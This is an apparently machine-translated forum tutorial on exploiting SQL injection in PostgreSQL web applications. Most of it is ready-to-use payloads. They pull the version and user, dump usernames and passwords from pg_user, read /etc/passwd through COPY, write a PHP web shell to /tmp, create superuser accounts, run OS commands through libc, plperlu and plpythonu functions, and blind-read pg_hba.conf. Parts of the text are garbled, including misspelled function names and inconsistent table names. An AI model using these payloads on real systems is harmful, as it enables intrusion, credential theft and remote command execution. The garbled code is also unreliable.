sql injection new trick with 0x01 Find errors

0x00 Introduction



The article deals with the peculiarities of SQL-injection vulnerability in the
code DBMS PostgreSQL. Although now rarely seen in the DBMSs using this web
programming, but still it happens.

Article amended since the last publication.



0x01 Find errors



So, we have substituted in the quote option, and what do we see? Here are some
typical errors, with whom we work:

Code:

Warning: pg_query(): Query failed: ERROR: syntax error at or near "\"
at character...

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or
near "\" at character...

[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or
near "'" at character...

Warning: PostgreSQL query failed: ERROR: parser: parse error at or near
"\" in...

The presence of these errors on the 90% guarantee us the opportunity to have
the injection.



0x02 Comments and whitespace



Whitespace can be used are the same as in MySQL, but the comments the situation
is somewhat different in PostgreSQL query chop off the comment "/ *"
will not work. He rugnetsya this error:

Code:

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /*
comment at or near "/*"

as such a comment must be closed. In this regard, we will use a "-"
that all the comments out after the end of the line.



0x03 Displays system information



Analogues team user() from MySQL to PostgreSQL as much as much as 4 pieces:

user

current_user

session_user

getpgusername()



Output version: version()

The output database: current_database()

Derivation of the database server IP: inet_server_addr()

The output port of the database server: inet_server_port() (by default 5432)



Derive the necessary information, it is convenient to make one request:

Code:

http://www.site.com/index.php?id=27+and
... T+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--

And we get such a response from the server:

Code:

Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer:

"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC)
3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...

This version : PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc
(GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)

User : ed

DB : sedbtac



Here it is worth paying attention to the query, PostgreSQL is very jealous of
data types, so the result should lead to an artificially required (in the sense
of what we want =)) data type. You can do this function cast (expression + as +
type), or use a particular construction of "expression :: type ', which is
there for historical reasons). For example, id=27+and+1=version()::int--



Two straight line "||" unite all in one line, chr(58) - is the
delimiter ":".



Since PostgreSQL supports the separation of queries using a ";" it is
possible to derive such an alternative version of the method:

Code:

id=27;select+version()::int--

or



Code:

id=27;select+cast(version()+as+int)--

0x04 Selection of the number of columns



Columns can be selected in several ways.



1# Using the construction of ORDER BY:

Code:

id=27+order+by+100--

In the case of fewer columns will return an error:

Code:

Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in
select list in...

2# ORDER BY in a query (My favorit):

Code:

id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...

Derived from the subtract one number and get the number of columns.



3# You can select the right design UNION+SELECT+NULL:

Code:

id=27+union+select+null,null,null,...

until there is no error.



4# Or pick up substituting numbers as in MySQL:

Code:

id=27+union+select+1,2,3,...

However, if the number of columns is incorrect, then return an error:

Code:

Warning: pg_query(): Query failed: ERROR: each UNION query must have the same
number of columns in...

And if the correct number of columns as strict typing here, then return an
error about an invalid type conversion, for example:

Code:

Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot
be matched in...

Of all the methods listed above rational, of course, use the construction of
ORDER BY.



0x05 System tables



To select the columns we have learned, it remains to find out how, and indeed,
from print.



Consider the utility system tables in PostgreSQL:



# pg_user



The field (type) Description

usename (name) - Login

usesysid (int4) - Id

usecreatedb (bool) - Whether the user can create a database

usesuper (bool) - whether the user has superuser privileges

usecatupd (bool) - Whether the user can make changes to system tables

passwd (text) - password (here are asterisks "****", but not the
password is essentially the same analogy as in the /etc/passwd and /etc/shadow)

valuntil (abstime) - Account expiration time (I mean, how many live session
user authentication using a password)

useconfig (text[]) - Default session for the configuration variables at work



As we can see, the information in this table is more informative, because the
password is contained in another table:



# pg_shadow



The field (type) Description

usename (name) - Login

usesysid (int4) - Id

usecreatedb (bool) - Whether the user can create a database

usesuper (bool) - whether the user has superuser privileges

usecatupd (bool) - Whether the user can make changes to system tables

passwd (text) - Password

valuntil (abstime) - password expiration time

useconfig (text[]) - Default session for the configuration variables at work



It is from pg_shadow we can remove passwords database (similar to mysql.user),
but most of the access to this table, no.



# pg_database



In this table, we are interested in only one field - datname, which stores the
names of available databases



# information_schema.tables and information_schema.columns



It's all standard, the same field names (table_name, column_name, table_schema
...).



0x06 Listing information



So we finally got to the conclusion, with regards to design everything here is
similar to MySQL and MSSQL, for example, to display the table name from
information_schema.tables we need to do, for example, this query:

Code:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--

But in order to scroll through the values ​​of the
fields, just limit +1,1 there is not a ride, you should use the
following construction:

Code:

id=27+union+select+1,table_name,3,...+from+informa
tion_schema.tables+limit+1+offset+1--

In this case, we iterate through here by offset.



If you want to display the names of specific table column, make a standard
request:

Code:

id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='table_name'

But as the quotation is likely to be filtered out, then we have two outputs,
you can first convert the table name in the chr(), for example, if we want to
get the name of the table columns pg_user, then the query would be:

Code:

...+where+table_name=CHR(112)||CHR(103)||CHR(95)||
CHR(117)||CHR(115)||CHR(101)||CHR(114)

But in PostgreSQL, starting with version 8, there was a very handy feature (my
dream - the same feature in MySQL), instead of the quotes you can use two
consecutive dollar signs, that is going to work this design:

Code:

...+where+table_name=$$table_name$$

Function concat() is not in PostgreSQL, string concatenation is performed by
two lines sticks "||":

Code:

id=27+union+select+usename||chr(58)||passwd,null,n
ull,null,null,null+from+pg_user--

Available construction LIKE:

Code:

id=27+union+select+table_name,null,null,null,null,
null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--

In this case %password% must be enclosed in quotes.



The IF is used only for internal functions, and useless for injection, instead
you can use the CASE:

Code:

CASE WHEN condition THEN result

[WHEN ...]

[ELSE result]

END

For example:

Code:

id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--

This expression returns a result of our "A".



You can use an alternative conclusion:

Code:

id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--

0x07 Executing commands



Oh and lastly, the most interesting, to execute commands to the database, you
need to have the privilege usesuper.



With the execution of commands you can do anything from reading files on the
server to fill a shell, would be right)

In PostgreSQL, as well as in MSSQL, you can share queries with a -
";".



Read /etc/passwd:

id=27;CREATE TABLE aaaa (b text); / * create the table "ahhh" with
column "b" type of text * /

id=27;COPY ahhh FROM '/etc/passwd'; / * copy to the table "ahhh" the
contents of /etc/passwd * /

id=27+union+select+b+from+aaaa+limit+1+offset+0-- / * read the contents of the
table * /

id = 27; DROP TABLE aaaa; / * for a clean, remove the table, "aaaa" *
/

Fill the shell:

id=27;CREATE TABLE ahhh (b text); / * create the table "ahhh" with
column "b" type of text * /

id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); / *
insert in the "b" table "ahhh" poisonous code * /

id=27;COPY аааа (b) TO '/tmp/shell.php'; / * Copy the contents of the
"b" in the file shell.php * /

id=27;DROP TABLE aaaa; / * for a clean, remove the table, "aaaa" * /

Create a new account:

Code:

id=27;CREATE USER myname PASSWORD 'mypass';

Writing to user rights to create new databases and new users:

Code:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

0x08 Creating functions



1# In the PostgreSQL <8.1 it is possible to add a function from the library:



Create a table with columns stdout id, system_out.

Code:

CREATE TABLE stdout(id serial, system_out text)--

Create a function system().

Code:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system'
LANGUAGE 'C' STRICT--

Execute arbitrary commands and record the results of its implementation in the
/tmp/test.

Code:

SELECT system('uname -a > /tmp/test')--

Copy the data from /tmp/test the table stdout.

Code:

COPY stdout(system_out) FROM '/tmp/test'--

Printing data on the screen.

Code:

UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL
LIMIT 1 OFFSET 1--

2# A bit of a different plperl:



Create a language if it has not been established.

Code:

CREATE LANGUAGE plperlu

Create a function spyder().

Code:

CREATE FUNCTION spyder(text) RETURNS text AS 'open(FD,"$_[0]
|");return join("",);' LANGUAGE plperlu;

Execute the command and output to the screen.

Code:

SELECT+spyder('uname -a')::int--

#3 And finally, through the plpython:



Create a function spyder().

Code:

CREATE FUNCTION spyder(text) RETURNS text AS 'import os; return
os.popen(args[0]).read()' LANGUAGE plpythonu;--

Enjoy the performance of team.

Code:

SELECT+spyder('uname -a')::int--

4# If we set a procedural language plpgsql:

Code:

select lanname from pg_language where lanname='plpgsql'

You can not with a limit, and output the contents of the table with one request

To do this, create a function:

Code:

CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS
$func$

DECLARE

schema ALIAS FOR $1;

table ALIAS FOR $2;

column1 ALIAS FOR $3;

column2 ALIAS FOR $4;

column3 ALIAS FOR $5;

count int;

i int;

temp text;

int_test text;

input_refc refcursor;

BEGIN

int_test := $qr$Result : $qr$;

OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) ||
$qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);

FETCH input_refc into count;

CLOSE input_refc;

count := count - 1;

BEGIN

FOR i in 0..count LOOP

OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) ||
$qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ ||
quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ ||
quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET
$qr$ || i;

FETCH input_refc into temp;

CLOSE input_refc;

int_test := int_test || temp;

END LOOP;

RETURN int_test;

END;

END;

$func$ LANGUAGE plpgsql;

Function getall () receives 5 ​​parameters

1 - the name of the database

2 - Name of table

3,4,5,6 - the names of the columns



The function is aimed at use in the construction of Union, the tag acts as a
separator unnecessarily, for example:

Code:

id=-27 union select getall('information_schema','columns','column_name
','table_name','table_schema')



0x09 Blind Injection



In the blind injection / in the presence of filters (cut union,cast,';') in
PostgreSQL can be used get_byte() instead of the combination of ascii() and
substr():

Code:

http://site.com/index.php?val=27
and get_b4.yte((select version())::bytea,0)=80 // PostgreSQL 8.2

Code:

http://site.com/index.php?val=27
and get_byte((select table_name from information_schema.tables limit 1 offset
0)::bytea,0)=112 // pg_type

In some special cases, delusions and perverted may be helpful feature
position(), an analogue of locate() in MySQL.

For example, a character by character and position of the substring to pull out
of the config ip-addresses are allowed remote access without a password (known
as the $$ is used to circumvent filtering quotes):



Code:

http://site.com/index.php?val=27
and position($$%20%20%20%20%20trust$$ in
(pg_read_file($$pg_hba.conf$$,0,10000)))=3516

Code:

http://site.com/index.php?val=27
and get_byte((pg_read_file($$pg_hba.conf$$,0,10000))::bytea,3498)=49 //
127.0.0.1/32

Forgot to say more about the function strpos(), as an alternative position():

Code:

http://site.com/index.php?val=27
and strpos(pg_read_file($$pg_hba.conf$$,0,10000),$$%20%20%20%20%20trust$$)=3516